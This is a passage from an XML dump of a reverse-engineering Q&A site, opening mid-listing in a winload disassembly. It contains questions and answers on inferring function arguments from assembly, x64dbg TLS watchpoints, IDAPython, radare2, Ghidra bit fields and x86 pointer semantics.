cx,dx&#xA;00893d7b 72e9            jb      winload!CmpFindNLSData+0x156 (00893d66)&#xA;00893d7d 8b75ec          mov     esi,dword ptr [ebp-14h]&#xA;00893d80 8b5d08          mov     ebx,dword ptr [ebp+8]&#xA;00893d83 6a36            push    36h&#xA;00893d85 58              pop     eax&#xA;00893d86 663907          cmp     word ptr [edi],ax&#xA;00893d89 750c            jne     winload!CmpFindNLSData+0x187 (00893d97)&#xA;00893d8b c745e801000000  mov     dword ptr [ebp-18h],1&#xA;00893d92 e992000000      jmp     winload!CmpFindNLSData+0x219 (00893e29)&#xA;00893d97 8d45e0          lea     eax,[ebp-20h]&#xA;00893d9a 50              push    eax&#xA;00893d9b ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893d9e 56              push    esi&#xA;00893d9f ff5604          call    dword ptr [esi+4]&#xA;00893da2 85c0            test    eax,eax&#xA;00893da4 7513            jne     winload!CmpFindNLSData+0x1a9 (00893db9)&#xA;00893da6 8d45c8          lea     eax,[ebp-38h]&#xA;00893da9 50              push    eax&#xA;00893daa 56              push    esi&#xA;00893dab ff5608          call    dword ptr [esi+8]&#xA;00893dae 32c0            xor     al,al&#xA;00893db0 5f              pop     edi&#xA;00893db1 5e              pop     esi&#xA;00893db2 5b              pop     ebx&#xA;00893db3 8be5            mov     esp,ebp&#xA;00893db5 5d              pop     ebp&#xA;00893db6 c20c00          ret     0Ch&#xA;00893db9 8d4dd8          lea     ecx,[ebp-28h]&#xA;00893dbc 8bd0            mov     edx,eax&#xA;00893dbe 51              push    ecx&#xA;00893dbf 8bce            mov     ecx,esi&#xA;00893dc1 e8c0320000      call    winload!CmpFindValueByName (00897086)&#xA;00893dc6 8bf8            mov     edi,eax&#xA;00893dc8 8d45c8          lea     eax,[ebp-38h]&#xA;00893dcb 50              push    eax&#xA;00893dcc 56              push    esi&#xA;00893dcd ff5608          call    dword ptr [esi+8]&#xA;00893dd0 33c0            xor     eax,eax&#xA;00893dd2 8945dc          mov     dword ptr [ebp-24h],eax&#xA;00893dd5 8d45e0          lea     eax,[ebp-20h]&#xA;00893dd8 50              push    eax&#xA;00893dd9 56              push    esi&#xA;00893dda ff5608          call    dword ptr [esi+8]&#xA;00893ddd 83ffff          cmp     edi,0FFFFFFFFh&#xA;00893de0 74cc            je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893de2 8d45d0          lea     eax,[ebp-30h]&#xA;00893de5 50              push    eax&#xA;00893de6 57              push    edi&#xA;00893de7 56              push    esi&#xA;00893de8 ff5604          call    dword ptr [esi+4]&#xA;00893deb 85c0            test    eax,eax&#xA;00893ded 74bf            je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893def 8d4dc0          lea     ecx,[ebp-40h]&#xA;00893df2 8bd7            mov     edx,edi&#xA;00893df4 51              push    ecx&#xA;00893df5 8d4df8          lea     ecx,[ebp-8]&#xA;00893df8 51              push    ecx&#xA;00893df9 50              push    eax&#xA;00893dfa 8bce            mov     ecx,esi&#xA;00893dfc e8fd330000      call    winload!CmpValueToData (008971fe)&#xA;00893e01 894304          mov     dword ptr [ebx+4],eax&#xA;00893e04 85c0            test    eax,eax&#xA;00893e06 7408            je      winload!CmpFindNLSData+0x200 (00893e10)&#xA;00893e08 8d45c0          lea     eax,[ebp-40h]&#xA;00893e0b 50              push    eax&#xA;00893e0c 56              push    esi&#xA;00893e0d ff5608          call    dword ptr [esi+8]&#xA;00893e10 8d45d0          lea     eax,[ebp-30h]&#xA;00893e13 50              push    eax&#xA;00893e14 56              push    esi&#xA;00893e15 ff5608          call    dword ptr [esi+8]&#xA;00893e18 33c0            xor     eax,eax&#xA;00893e1a 394304          cmp     dword ptr [ebx+4],eax&#xA;00893e1d 748f            je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e1f 8b45f8          mov     eax,dword ptr [ebp-8]&#xA;00893e22 66894302        mov     word ptr [ebx+2],ax&#xA;00893e26 668903          mov     word ptr [ebx],ax&#xA;00893e29 8d45e0          lea     eax,[ebp-20h]&#xA;00893e2c 50              push    eax&#xA;00893e2d ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893e30 56              push    esi&#xA;00893e31 ff5604          call    dword ptr [esi+4]&#xA;00893e34 85c0            test    eax,eax&#xA;00893e36 0f8472ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e3c 6848228e00      push    offset winload!CmpOemCpString (008e2248)&#xA;00893e41 8bd0            mov     edx,eax&#xA;00893e43 8bce            mov     ecx,esi&#xA;00893e45 e83c320000      call    winload!CmpFindValueByName (00897086)&#xA;00893e4a 8bf8            mov     edi,eax&#xA;00893e4c 8d45e0          lea     eax,[ebp-20h]&#xA;00893e4f 50              push    eax&#xA;00893e50 56              push    esi&#xA;00893e51 ff5608          call    dword ptr [esi+8]&#xA;00893e54 83ffff          cmp     edi,0FFFFFFFFh&#xA;00893e57 0f8451ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e5d 8d45d0          lea     eax,[ebp-30h]&#xA;00893e60 50              push    eax&#xA;00893e61 57              push    edi&#xA;00893e62 56              push    esi&#xA;00893e63 ff5604          call    dword ptr [esi+4]&#xA;00893e66 85c0            test    eax,eax&#xA;00893e68 0f8440ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e6e 8d4dc8          lea     ecx,[ebp-38h]&#xA;00893e71 8bd7            mov     edx,edi&#xA;00893e73 51              push    ecx&#xA;00893e74 8d4df8          lea     ecx,[ebp-8]&#xA;00893e77 51              push    ecx&#xA;00893e78 50              push    eax&#xA;00893e79 8bce            mov     ecx,esi&#xA;00893e7b e87e330000      call    winload!CmpValueToData (008971fe)&#xA;00893e80 8bf8            mov     edi,eax&#xA;00893e82 8d45d0          lea     eax,[ebp-30h]&#xA;00893e85 50              push    eax&#xA;00893e86 56              push    esi&#xA;00893e87 897ddc          mov     dword ptr [ebp-24h],edi&#xA;00893e8a ff5608          call    dword ptr [esi+8]&#xA;00893e8d 85ff            test    edi,edi&#xA;00893e8f 0f8419ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893e95 8b55f8          mov     edx,dword ptr [ebp-8]&#xA;00893e98 33c9            xor     ecx,ecx&#xA;00893e9a 33c0            xor     eax,eax&#xA;00893e9c 668955da        mov     word ptr [ebp-26h],dx&#xA;00893ea0 66894dd8        mov     word ptr [ebp-28h],cx&#xA;00893ea4 663bc2          cmp     ax,dx&#xA;00893ea7 7322            jae     winload!CmpFindNLSData+0x2bb (00893ecb)&#xA;00893ea9 8b75f0          mov     esi,dword ptr [ebp-10h]&#xA;00893eac 33db            xor     ebx,ebx&#xA;00893eae 0fb7c1          movzx   eax,cx&#xA;00893eb1 d1e8            shr     eax,1&#xA;00893eb3 66391c47        cmp     word ptr [edi+eax*2],bx&#xA;00893eb7 740c            je      winload!CmpFindNLSData+0x2b5 (00893ec5)&#xA;00893eb9 6603ce          add     cx,si&#xA;00893ebc 66894dd8        mov     word ptr [ebp-28h],cx&#xA;00893ec0 663bca          cmp     cx,dx&#xA;00893ec3 72e9            jb      winload!CmpFindNLSData+0x29e (00893eae)&#xA;00893ec5 8b75ec          mov     esi,dword ptr [ebp-14h]&#xA;00893ec8 8b5d08          mov     ebx,dword ptr [ebp+8]&#xA;00893ecb 6a36            push    36h&#xA;00893ecd 58              pop     eax&#xA;00893ece 663907          cmp     word ptr [edi],ax&#xA;00893ed1 8b7d0c          mov     edi,dword ptr [ebp+0Ch]&#xA;00893ed4 0f8496000000    je      winload!CmpFindNLSData+0x360 (00893f70)&#xA;00893eda 8d45e0          lea     eax,[ebp-20h]&#xA;00893edd 50              push    eax&#xA;00893ede ff75f4          push    dword ptr [ebp-0Ch]&#xA;00893ee1 56              push    esi&#xA;00893ee2 ff5604          call    dword ptr [esi+4]&#xA;00893ee5 85c0            test    eax,eax&#xA;00893ee7 0f84b9feffff    je      winload!CmpFindNLSData+0x196 (00893da6)&#xA;00893eed 8d4dd8          lea     ecx,[ebp-28h]&#xA;00893ef0 8bd0            mov     edx,eax&#xA;00893ef2 51              push    ecx&#xA;00893ef3 8bce            mov     ecx,esi&#xA;00893ef5 e88c310000      call    winload!CmpFindValueByName (00897086)&#xA;00893efa 894508          mov     dword ptr [ebp+8],eax&#xA;00893efd 8d45c8          lea     eax,[ebp-38h]&#xA;00893f00 50              push    eax&#xA;00893f01 56              push    esi&#xA;00893f02 ff5608          call    dword ptr [esi+8]&#xA;00893f05 8d45e0          lea     eax,[ebp-20h]&#xA;00893f08 50              push    eax&#xA;00893f09 56              push    esi&#xA;00893f0a ff5608          call    dword ptr [esi+8]&#xA;00893f0d 8b4508          mov     eax,dword ptr [ebp+8]&#xA;00893f10 83f8ff          cmp     eax,0FFFFFFFFh&#xA;00893f13 0f8495feffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893f19 8d4dd0          lea     ecx,[ebp-30h]&#xA;00893f1c 51              push    ecx&#xA;00893f1d 50              push    eax&#xA;00893f1e 56              push    esi&#xA;00893f1f ff5604          call    dword ptr [esi+4]&#xA;00893f22 85c0            test    eax,eax&#xA;00893f24 0f8484feffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893f2a 8b5508          mov     edx,dword ptr [ebp+8]&#xA;00893f2d 8d4dc0          lea     ecx,[ebp-40h]&#xA;00893f30 51              push    ecx&#xA;00893f31 8d4df8          lea     ecx,[ebp-8]&#xA;00893f34 51              push    ecx&#xA;00893f35 50              push    eax&#xA;00893f36 8bce            mov     ecx,esi&#xA;00893f38 e8c1320000      call    winload!CmpValueToData (008971fe)&#xA;00893f3d 894704          mov     dword ptr [edi+4],eax&#xA;00893f40 85c0            test    eax,eax&#xA;00893f42 7408            je      winload!CmpFindNLSData+0x33c (00893f4c)&#xA;00893f44 8d45c0          lea     eax,[ebp-40h]&#xA;00893f47 50              push    eax&#xA;00893f48 56              push    esi&#xA;00893f49 ff5608          call    dword ptr [esi+8]&#xA;00893f4c 8d45d0          lea     eax,[ebp-30h]&#xA;00893f4f 50              push    eax&#xA;00893f50 56              push    esi&#xA;00893f51 ff5608          call    dword ptr [esi+8]&#xA;00893f54 33c9            xor     ecx,ecx&#xA;00893f56 394f04          cmp     dword ptr [edi+4],ecx&#xA;00893f59 0f844ffeffff    je      winload!CmpFindNLSData+0x19e (00893dae)&#xA;00893f5f 8b45f8          mov     eax,dword ptr [ebp-8]&#xA;00893f62 66894702        mov     word ptr [edi+2],ax&#xA;00893f66 668907          mov     word ptr [edi],ax&#xA;00893f69 394de8          cmp     dword ptr [ebp-18h],ecx&#xA;00893f6c 7412            je      winload!CmpFindNLSData+0x370 (00893f80)&#xA;00893f6e eb02            jmp     winload!CmpFindNLSData+0x362 (00893f72)&#xA;00893f70 33c9            xor     ecx,ecx&#xA;00893f72 33c0            xor     eax,eax&#xA;00893f74 894b04          mov     dword ptr [ebx+4],ecx&#xA;00893f77 668903          mov     word ptr [ebx],ax&#xA;00893f7a 894f04          mov     dword ptr [edi+4],ecx&#xA;00893f7d 668907          mov     word ptr [edi],ax&#xA;00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h]&#xA;00893f83 b001            mov     al,1&#xA;00893f85 6a14            push    14h&#xA;00893f87 5a              pop     edx&#xA;00893f88 c741044c1a8e00  mov     dword ptr [ecx+4],offset winload!`string' (008e1a4c)&#xA;00893f8f 66895102        mov     word ptr [ecx+2],dx&#xA;00893f93 668911          mov     word ptr [ecx],dx&#xA;00893f96 e915feffff      jmp     winload!CmpFindNLSData+0x1a0 (00893db0)&#xA;00893f9b cc              int     3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34219" LastActivityDate="2020-08-29T21:56:34.977" Title="How to track output parameters in disassembly?" Tags="|disassembly|windows|functions|calling-conventions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25764" PostTypeId="1" CreationDate="2020-08-28T12:22:54.400" Score="0" ViewCount="292" Body="&lt;p&gt;I am new to reverse engineering and I was trying to debug why a 3rd party application was crashing when I m injecting my DLL in it. (There are some cases where it didn't crash)&lt;/p&gt;&#xA;&lt;p&gt;So I was able to figure out from a set of instructions/subroutine where the application was throwing an error. There is was able to figure out that it was probably getting a null pointer for some TLS value.&lt;/p&gt;&#xA;&lt;p&gt;Here is my question w.r.t to this problem&#xA;I want to break/notify my debugger whenever a value is getting changed at that given TLS slot.&lt;/p&gt;&#xA;&lt;p&gt;I'll add the ASM to make better sense, This is the disassembly of kernel32!TlsGetValue. I want to watch the TLS slots for the given thread. To put it in simple words I want to add watcher for &lt;strong&gt;GS:[0x1480]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have any idea how to do it x64dbg?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZzTXw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZzTXw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28345" LastActivityDate="2020-08-28T12:22:54.400" Title="Watching a TLS Slot value in x64dbg" Tags="|windows|c++|thread|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25765" PostTypeId="2" ParentId="25761" CreationDate="2020-08-28T22:30:28.017" Score="0" Body="&lt;p&gt;The function's Disassembly Does Not Match the prototype&lt;br /&gt;&#xA;This function takes only 3 arguments which can be ascertained with the first/multiple failure Exits&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if(!foo) { return false;}&#xA;00893c49 85c0            test    eax,eax  &amp;lt;&amp;lt;&amp;lt;&amp;lt; if(!foo)&#xA;00893c4b 0f845d010000    je      winload!CmpFindNLSData+0x19e (00893dae)  &#xA;|  &#xA;00893dae 32c0            xor     al,al &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;    bool False&#xA;00893db0 5f              pop     edi  &#xA;00893db1 5e              pop     esi  &#xA;00893db2 5b              pop     ebx  &#xA;00893db3 8be5            mov     esp,ebp  &#xA;00893db5 5d              pop     ebp  &#xA;00893db6 c20c00          ret     0Ch  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; pops 3 arguments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;we can also confirm the arguments Access in x86 by looking   for ebp+ patterns (beware FPO )&lt;/p&gt;&#xA;&lt;p&gt;copy pasting the disassembly from your query and grepping for ebp+8&lt;br /&gt;&#xA;yields only access to (ebp + [0x8,0xc,0x10]) so this function definitely takes only 3 arguments or 5 if this is _fastcall (ecx,edx)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;wc -l nlsdatadis.txt&#xA;350 nlsdatadis.txt&#xA;&#xA;:\&amp;gt;grep ebp+ nlsdatadis.txt&#xA;00893d80 8b5d08          mov     ebx,dword ptr [ebp+8] &amp;lt;&amp;lt;&amp;lt;&#xA;00893ec8 8b5d08          mov     ebx,dword ptr [ebp+8]&#xA;00893ed1 8b7d0c          mov     edi,dword ptr [ebp+0Ch] &amp;lt;&amp;lt;&amp;lt;&#xA;00893efa 894508          mov     dword ptr [ebp+8],eax&#xA;00893f0d 8b4508          mov     eax,dword ptr [ebp+8]&#xA;00893f2a 8b5508          mov     edx,dword ptr [ebp+8]&#xA;00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h] &amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;we can infer that the last/3rd argument is a PUNICODE_STRING by looking at the Disassembly that Accesses [ebp+10]&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h]&#xA;00893f83 b001            mov     al,1   &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; bool TRUE&#xA;00893f85 6a14            push    14h    &amp;lt;&amp;lt;&amp;lt;&amp;lt; str length&#xA;00893f87 5a              pop     edx&#xA;00893f88 c741044c1a8e00  mov     dword ptr [ecx+4],offset winload!`string' (008e1a4c)   &#xA;&amp;lt;&amp;lt;&amp;lt; pointer to Buffer&#xA;00893f8f 66895102        mov     word ptr [ecx+2],dx  &amp;lt;&amp;lt; (max len)&#xA;00893f93 668911          mov     word ptr [ecx],dx    &amp;lt;&amp;lt; (len)     &#xA;00893f96 e915feffff      jmp     winload!CmpFindNLSData+0x1a0 (00893db0) &amp;lt;&amp;lt; again    &#xA;jumps to Exit that is described above with True as Return)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;2nd Argument is also PUNICODE_STRING (ebp+0c,edi)&#xA;ist Argument is Some function pointer or the this call convention's this&lt;/p&gt;&#xA;&lt;p&gt;as ebp+8 is modified several times by mov&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-08-29T21:56:34.977" LastActivityDate="2020-08-29T21:56:34.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25766" PostTypeId="1" CreationDate="2020-08-29T04:32:12.203" Score="0" ViewCount="126" Body="&lt;p&gt;I want to hook arm instructions as they executes but most of the emulators are based on VirtualBox that uses houdini to translate arm instructions to x86, and i really can't hook a native JNI lib, moreover I'm doing a instruction trace please suggest a emulator that does it.&lt;/p&gt;&#xA;" OwnerUserId="33709" LastActivityDate="2020-08-29T04:32:12.203" Title="Emulator that emulates arm hardware" Tags="|x86|arm|qemu|emulation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25767" PostTypeId="1" CreationDate="2020-08-29T07:18:42.430" Score="1" ViewCount="736" Body="&lt;p&gt;So few days ago going through youtube Reverse Engineering videos, i came across a particular video where an android application was modified using IDA pro by disassembling it's .so file found in /lib directory in every android app.&lt;/p&gt;&#xA;&lt;p&gt;This is the link to the video&#xA;&lt;a href=&quot;https://m.youtube.com/watch?v=m-t-jFBy7FE&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://m.youtube.com/watch?v=m-t-jFBy7FE&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I was further curious as i have never seen anyone modify an android App from the .so file usually when we talk of reversing android apps we use tools like Apktool, Dex2jar, jd-gui and so on.&lt;/p&gt;&#xA;&lt;p&gt;What kind of Reverse Engineering is this and what exactly is going on???&lt;/p&gt;&#xA;&lt;p&gt;Someone please shed some light on this topic. i've been confused for days.&lt;/p&gt;&#xA;" OwnerUserId="34263" LastActivityDate="2020-08-29T07:18:42.430" Title="How does Andriod .so files Reverse Engineering with a dissasembler like IDA pro and Cutter work" Tags="|ida|apk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25769" PostTypeId="1" AcceptedAnswerId="25816" CreationDate="2020-08-29T09:23:10.997" Score="1" ViewCount="2010" Body="&lt;p&gt;I am running my IDA script on many files (batching), and i need to get the file name the script is running on within the script. the problem is i cannot find any API that does that.&lt;/p&gt;&#xA;&lt;p&gt;the closest things i found was GetIdbDir(), which doesn't include the file name, also there seems to be a get_path function in ida_loader, but it expects a c type pointer, when i gave it a python string it failed.&lt;/p&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2023-07-14T23:02:19.367" Title="Get current file name with IDApython" Tags="|ida|idapython|idapro-sdk|ida-plugin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25772" PostTypeId="2" ParentId="2096" CreationDate="2020-08-29T11:17:45.050" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/radareorg/r2dec-js&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2dec&lt;/a&gt; plugin on &lt;a href=&quot;https://rada.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; with command &lt;code&gt;pdda&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048060]&amp;gt; pdda&#xA;; assembly                               | /* r2dec pseudo code output */&#xA;                                         | /* ret @ 0x8048060 */&#xA;                                         | #include &amp;lt;stdint.h&amp;gt;&#xA;                                         |  &#xA;; (fcn) entry0 ()                        | int32_t entry0 (void) {&#xA;                                         |     do {&#xA;                                         |         /* [01] -r-x section size 23 named .text */&#xA;0x08048060 mov cl, byte [eax]            |         cl = *(eax);&#xA;0x08048062 cmp cl, 0x20                  |         &#xA;                                         |         if (cl &amp;gt;= 0x20) {&#xA;0x08048065 jb 0x804806c                  |             &#xA;0x08048067 cmp cl, 0x2c                  |             &#xA;                                         |             if (cl != 0x2c) {&#xA;0x0804806a jne 0x804806f                 |                 goto label_0;&#xA;                                         |             }&#xA;                                         |         }&#xA;0x0804806c mov byte [eax], 0x20          |         *(eax) = 0x20;&#xA;                                         | label_0:&#xA;0x0804806f mov cl, byte [eax + 1]        |         cl = *((eax + 1));&#xA;0x08048072 inc eax                       |         eax++;&#xA;0x08048073 test cl, cl                   |         &#xA;0x08048075 jne 0x8048060                 |         &#xA;                                         |     } while (cl != 0);&#xA;                                         | }&#xA;[0x08048060]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14199" LastActivityDate="2020-08-29T11:17:45.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25775" PostTypeId="1" AcceptedAnswerId="25782" CreationDate="2020-08-29T12:05:40.520" Score="0" ViewCount="2029" Body="&lt;p&gt;Suppose we have the following C source:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct {&#xA;  int bit0 : 1;&#xA;  int bit1 : 1;&#xA;  int bit2 : 1;&#xA;  int bit3 : 1;&#xA;} bit_struct;&#xA;&#xA;bit_struct a;&#xA;&#xA;void setBit3()&#xA;{&#xA;  a.bit3 = 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When we compile it and open the result in Ghidra, the decompilation window shows&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void setBit3(void)&#xA;{&#xA;  a = a | 8;&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If we give Ghidra the declaration of &lt;code&gt;bit_struct&lt;/code&gt; (using &lt;code&gt;File&lt;/code&gt; -&amp;gt; &lt;code&gt;Parse C Source&lt;/code&gt;), and then go to the location of &lt;code&gt;a&lt;/code&gt; and set its data type to &lt;code&gt;bit_struct&lt;/code&gt;, the decompilation changes to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;a = (bit_struct)((byte)a | 8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which still doesn't access &lt;code&gt;bit3&lt;/code&gt; by declared name.&lt;/p&gt;&#xA;&lt;p&gt;How can we make Ghidra properly decompile it?&lt;/p&gt;&#xA;" OwnerUserId="34266" LastEditorUserId="34266" LastEditDate="2020-08-29T12:24:03.323" LastActivityDate="2020-08-30T21:36:39.860" Title="How to make Ghidra recognize bit fields?" Tags="|decompilation|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25778" PostTypeId="1" AcceptedAnswerId="25780" CreationDate="2020-08-29T17:49:18.133" Score="2" ViewCount="3168" Body="&lt;p&gt;The following is the code snippet (shown partially) I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;q = strrchr(resolved, '/');     /* given /home/misha/docs.txt, q now pts to the last slash */&#xA;    if (q != NULL) {&#xA;      p = q + 1;                   /* p points to docs.txt */&#xA;&#xA;      if (q == resolved)&#xA;        q = &amp;quot;/&amp;quot;;&#xA;      else {&#xA;        do {&#xA;          --q;&#xA;        } while (q &amp;gt; resolved &amp;amp;&amp;amp; *q == '/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The generated output with -S flag using objdump:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;401789:       e8 7a fb ff ff          call   401308 &amp;lt;strrchr&amp;gt;&#xA;  40178e:       48 89 45 d0             mov    QWORD PTR [rbp-0x30],rax&#xA;    if (q != NULL) {&#xA;  401792:       48 83 7d d0 00          cmp    QWORD PTR [rbp-0x30],0x0&#xA;  401797:       0f 84 12 01 00 00       je     4018af &amp;lt;fb_realpath+0x22d&amp;gt;&#xA;      p = q + 1;                   /* p points to docs.txt */&#xA;  40179d:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]&#xA;  4017a1:       48 83 c0 01             add    rax,0x1&#xA;  4017a5:       48 89 45 d8             mov    QWORD PTR [rbp-0x28],rax&#xA;&#xA;      if (q == resolved)&#xA;  4017a9:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]&#xA;  4017ad:       48 3b 85 e0 fe ff ff    cmp    rax,QWORD PTR [rbp-0x120]&#xA;  4017b4:       75 0a                   jne    4017c0 &amp;lt;fb_realpath+0x13e&amp;gt;&#xA;        q = &amp;quot;/&amp;quot;;&#xA;  4017b6:       48 c7 45 d0 c5 20 40    mov    QWORD PTR [rbp-0x30],0x4020c5&#xA;  4017bd:       00&#xA;  4017be:       eb 33                   jmp    4017f3 &amp;lt;fb_realpath+0x171&amp;gt;&#xA;      else {&#xA;        do {&#xA;          --q;&#xA;  4017c0:       48 83 6d d0 01          sub    QWORD PTR [rbp-0x30],0x1&#xA;        } while (q &amp;gt; resolved &amp;amp;&amp;amp; *q == '/');&#xA;  4017c5:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]&#xA;  4017c9:       48 3b 85 e0 fe ff ff    cmp    rax,QWORD PTR [rbp-0x120]&#xA;  4017d0:       76 0b                   jbe    4017dd &amp;lt;fb_realpath+0x15b&amp;gt;&#xA;  4017d2:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]&#xA;  4017d6:       0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  4017d9:       3c 2f                   cmp    al,0x2f&#xA;  4017db:       74 e3                   je     4017c0 &amp;lt;fb_realpath+0x13e&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, I have a question about &lt;code&gt;q = &amp;quot;/&amp;quot;;&lt;/code&gt; instruction. &lt;code&gt;q&lt;/code&gt; is defined as a &lt;code&gt;char*&lt;/code&gt; and as seen from this examples, it contains a value returned by &lt;code&gt;strrchr&lt;/code&gt; fucntion. Then it is assigned to a string - &lt;code&gt;q = &amp;quot;/&amp;quot;;&lt;/code&gt; further in the code. Now, the instruction which represents that in assembly is - &lt;code&gt;mov QWORD PTR [rbp-0x30],0x4020c5&lt;/code&gt;. I have very hard time understanding this instruction. Now, my understanding is that, it supposed to move the string &amp;quot;/&amp;quot; to the location pointed by &lt;code&gt;q&lt;/code&gt;. But how does it know the location pointed by &lt;code&gt;q&lt;/code&gt;? i.e. &lt;code&gt;rbp-0x30&lt;/code&gt; is a location on the stack where &lt;code&gt;q&lt;/code&gt; is stored. And this location is supposed to contain the address of the object where &lt;code&gt;q&lt;/code&gt; is pointing. But, I interpret &lt;code&gt;mov QWORD PTR [rbp-0x30],0x4020c5&lt;/code&gt; as move string &lt;code&gt;0x4020c5&lt;/code&gt; to &lt;code&gt;rbp-0x30&lt;/code&gt; i.e. the address of &lt;code&gt;q&lt;/code&gt;. That is where I am confused as that location is supposed to contain the address and not the string.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and your help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-08-29T21:54:23.607" Title="how to does this instruction work: `mov qword ptr [rbp-0x30], 0x4020c5`" Tags="|assembly|x86|x86-64|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25780" PostTypeId="2" ParentId="25778" CreationDate="2020-08-29T18:55:52.037" Score="4" Body="&lt;p&gt;&lt;code&gt;mov QWORD PTR [rbp-0x30],0x4020c5&lt;/code&gt; means exactly &amp;quot;move &lt;code&gt;0x4020c5&lt;/code&gt; to a memory location &lt;code&gt;rbp-0x30&lt;/code&gt; and treat this number as qword&amp;quot; (&lt;code&gt;8&lt;/code&gt; - byte number).&lt;/p&gt;&#xA;&lt;p&gt;But &lt;code&gt;q&lt;/code&gt; is at the memory location &lt;code&gt;rbp - 0x30&lt;/code&gt;, so anything you write into that address, will be written into &lt;code&gt;q&lt;/code&gt;. So, the number &lt;code&gt;0x4020c5&lt;/code&gt; was written into &lt;code&gt;q&lt;/code&gt;. The number &lt;code&gt;0x4020c5&lt;/code&gt; is not a string itself - it's a memory address of a string (just a pointer). So &lt;code&gt;q&lt;/code&gt; points to a string at &lt;code&gt;0x4020c5&lt;/code&gt;, hence &lt;code&gt;q[0] == '/'&lt;/code&gt; and &lt;code&gt;q[1] == NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;And that's the behaviour that we expect from instruction &lt;code&gt;q = &amp;quot;/&amp;quot;&lt;/code&gt; - it doesn't change the memory the &lt;code&gt;q&lt;/code&gt; points at, but changes the &lt;code&gt;q&lt;/code&gt; itself.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-08-29T18:55:52.037" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
